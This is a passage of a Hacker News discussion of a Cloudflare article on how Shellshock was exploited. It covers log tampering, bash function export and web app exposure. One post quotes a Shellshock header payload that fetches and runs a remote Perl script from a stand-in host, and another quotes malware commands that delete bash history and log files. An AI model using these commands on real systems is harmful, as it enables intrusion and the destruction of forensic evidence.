Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Inside Shellshock: How hackers are using it to exploit systems

blog.cloudflare.com

Post reply on HN
Print view View original

71–80 of 94 posts

Re: Inside Shellshock: How hackers are using it to exploit systems

#71

Post by segmondy »

unfamiliar wrote: post #34
segmondy wrote: post #22

That /^cleanlogs/ just made me cringe. Holy crap.

I feel like there should be some way to verify that logs have not been tampered with. For example, including a checksum of the file up until that point on each line. Unfortunately they could just be rewritten after the log has changed. The only real solution I can see is a dedicated logging server, giving true write-only or append-only access.

As far back as the 90's, I remember the log cleaners would only clean what they touched, so say utmp, read the structure and find all the time the user logged in and remove only this records. This one is wiping everything, you will know your logs have been tampered with, you won't have any logs. lol

Re: Inside Shellshock: How hackers are using it to exploit systems

#72

Post by fragmede »

morgante wrote: post #56
M4v3R wrote: post #49

Earlier quoted context omitted.

Yes, it will, because: - Apache will create an environment variable for every HTTP header that you pass to it. So if you set the User-Agent header to "() {:;}; wget http://example.com/evil.pl -O - | perl" Apache will set HTTP_USER_AGENT variable to that specific value - Any call to popen() will spawn a shell. If it is a bash shell (very common) it will scan all environment variables, and when it does find "() {:;}; .…

Thanks for explaining—it's good to confirm my theory that all shells are vulnerable, not just ones which incorporate user input. > which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff I do think the "crazy stuff" part is important. I've never come across a popen/shell call in a web app which looked sane or secure to…

> I've never come across a popen/shell call in a web app which looked sane or secure to me.

No true scotsman as applied to webapps? Someone else has already pointed out an example Wordpress - bet you don't consider it "sane or secure". (Not that I consider it the most secure thing ever, but I'm not the one trying to downplay shellshock.) You must admit that wordpress is highly popular and that there are many installations of it, and that the people running them aren't stupid.

Face it, the barrier for entry for writing webapp's is so low that anything web-facing should be considered possibly vulnerable unless proven otherwise.

Even web apps not doing 'crazy stuff' can be written by a lone web-dev who just learned PHP from a book in 21-hours. Not every web app is written by a top-tier, skilled web-dev's who's up to date on the latest best practices, with a clean design for user-input sanitization, and a team of QA folk trying to poke holes, and a dedicated security team auditing the code, deployed behind some sort of filtering proxy.

Hell, you'd think that with enough top-tier talent that bugs never happen, but even Google's been hit with a bug that exposed files from their servers; Facebook had that login security bug that they paid out for via their bug bounty program, Apple's security in the first bunch of revisions of iOS was laughable, and so on.

Re: Inside Shellshock: How hackers are using it to exploit systems

#73

Post by chatmasta »

bjnord wrote: post #6

Searching for ":;" in my Apache logs, I'm definitely seeing some hits -- although the majority are security organizations doing wide scans to see how many systems are vulnerable.

If I were a hacker running vulnerability scans, I would be calling myself a security organization too.

Re: Inside Shellshock: How hackers are using it to exploit systems

#74

Post by fragmede »

TeMPOraL wrote: post #39
yeahforbes wrote: post #24

Earlier quoted context omitted.

In bash, function definitions can be exported via environment variables; in handling that bash also executes whatever immediately follows the function definition; Apache sets environment variables (without sanitizing them for the above) based on incoming HTTP request headers which are controlled by end user clients. Because this functionality in bash predated Apache, it could be argued that Apache ought to perform sa…

> but on the other hand bash's ability for data to be executed as code was pretty much undocumented and is now considered the bug. From the article you linked: > Since Bash is both a command interpreter and a command, it is possible to execute Bash from within Bash. When this happens, the original instance can export environment variables and function definitions into the new instance.[16] Function definitions are ex…

> In the former, it's part of basic language knowledge to understand how virtual methods are implemented

Since when? While Hex-ray's IDA let me dig into exactly how vtables work, it's not like you even need to have heard of how vtables before you can stick the word 'virtual' in the right place for you code to do what you want.

Similarly: If you're a long-time Python programmer, and have never looked into the internals, it's a good exercise. There's a (in CPython) CALL_FUNCTION instruction that PyEval_EvalFrameEx (in Python/ceval.c) dispatches that (and, well, all) opcodes. And... and... It's not magic, yes it does work, I don't know if you care, I certainly do.

If you want to be ignorant of the lower-levels of code, Python certainly makes it easier (strings are an easy-to-use built-in language feature? madness!), but let's not pretend every programmer who has ever touched C++ has heard of vtables.

Re: Inside Shellshock: How hackers are using it to exploit systems

#76

Post by mturmon »

danielweber wrote: post #31

Long ago writing testing exploits on a Solaris machine, I'd use the payload of "/sbin/eject" because it was very simple to see if the attack succeeded. No need to look through logs; just see the cup-holder open up obediently. So the opening really took me back.

The simplicity of this one has made it entertaining to watch. It's easy to follow the storyline of probes, exploits, and patches. And everyone has bash, so we can play along at home. ;-)

Re: Inside Shellshock: How hackers are using it to exploit systems

#77

Post by morgante »

fragmede wrote: post #72
morgante wrote: post #56

Earlier quoted context omitted.

Thanks for explaining—it's good to confirm my theory that all shells are vulnerable, not just ones which incorporate user input. > which isn't quite uncommon, many websites use some kind of processing of data they receive with external programs, or call sockets, or do other crazy stuff I do think the "crazy stuff" part is important. I've never come across a popen/shell call in a web app which looked sane or secure to…

> I've never come across a popen/shell call in a web app which looked sane or secure to me. No true scotsman as applied to webapps? Someone else has already pointed out an example Wordpress - bet you don't consider it "sane or secure". (Not that I consider it the most secure thing ever, but I'm not the one trying to downplay shellshock.) You must admit that wordpress is highly popular and that there are many installa…

> You must admit that wordpress is highly popular and that there are many installations of it, and that the people running them aren't stupid.

Hahahahahaha, have you ever seen the Wordpress codebase?

> Face it, the barrier for entry for writing webapp's is so low that anything web-facing should be considered possibly vulnerable unless proven otherwise.

True. I'm sure there are thousands (millions?) of compromised sites out there. Heck, probably a few of the ones I wrote back in high school are compromised.

My only point is that I'm less scared by this because it doesn't affect highly secure and modern websites (ie. I don't expect Facebook to announce they're compromised by Shellshock) as shelling out from a web server really isn't considered modern and secure. Comparatively, Heartbleed was very scary because sites which were following all the best practices (including using SSL) were vulnerable.

Re: Inside Shellshock: How hackers are using it to exploit systems

#78

Post by mturmon »

segmondy wrote: post #22

That /^cleanlogs/ just made me cringe. Holy crap.

Yes, among other lines:

   system 'find / -name *.bash_history -exec rm -rf {} \;';
   system 'find / -name "log*" -exec rm -rf {} \;';
   system 'find / -name *.log -exec rm -rf {} \;';
Not very subtle.

Re: Inside Shellshock: How hackers are using it to exploit systems

#79

Post by Someone1234 »

pja wrote: post #52

I'm seeing exploit attempts against some very rarely used cgi programs that I happen to have installed: Clearly there are people out there who have trawled the entirety of the open source archives looking for potentially exploitable cgi scripts and are directly targeting hosts where those scripts can be found. Presumably they're using Google or other search engines to obtain lists of potentially exploitable hosts for…

They're likely Googling stuff like: "darcsweb filetype:cgi" Or just "filetype:cgi"

Interestingly Bing is either blocking "filetype:cgi" or their filetype moniker just doesn't work very well (I am actually leaning more towards the latter after some additional testing).

Ditto with DDG, their filetype: filter just doesn't work at all.

Re: Inside Shellshock: How hackers are using it to exploit systems

#80

Post by hyyypr »

pja wrote: post #52

I'm seeing exploit attempts against some very rarely used cgi programs that I happen to have installed: Clearly there are people out there who have trawled the entirety of the open source archives looking for potentially exploitable cgi scripts and are directly targeting hosts where those scripts can be found. Presumably they're using Google or other search engines to obtain lists of potentially exploitable hosts for…

Correct me if I'm wrong, but it seems that on Debian (7 at least) /bin/sh is a symbolic link to /bin/dash.

The issue is so wide spread because usually /bin/sh links to /bin/bash...

I don't know if Debian and Ubuntu are the only *nixes using Dash instead of Bash.

Post reply on HN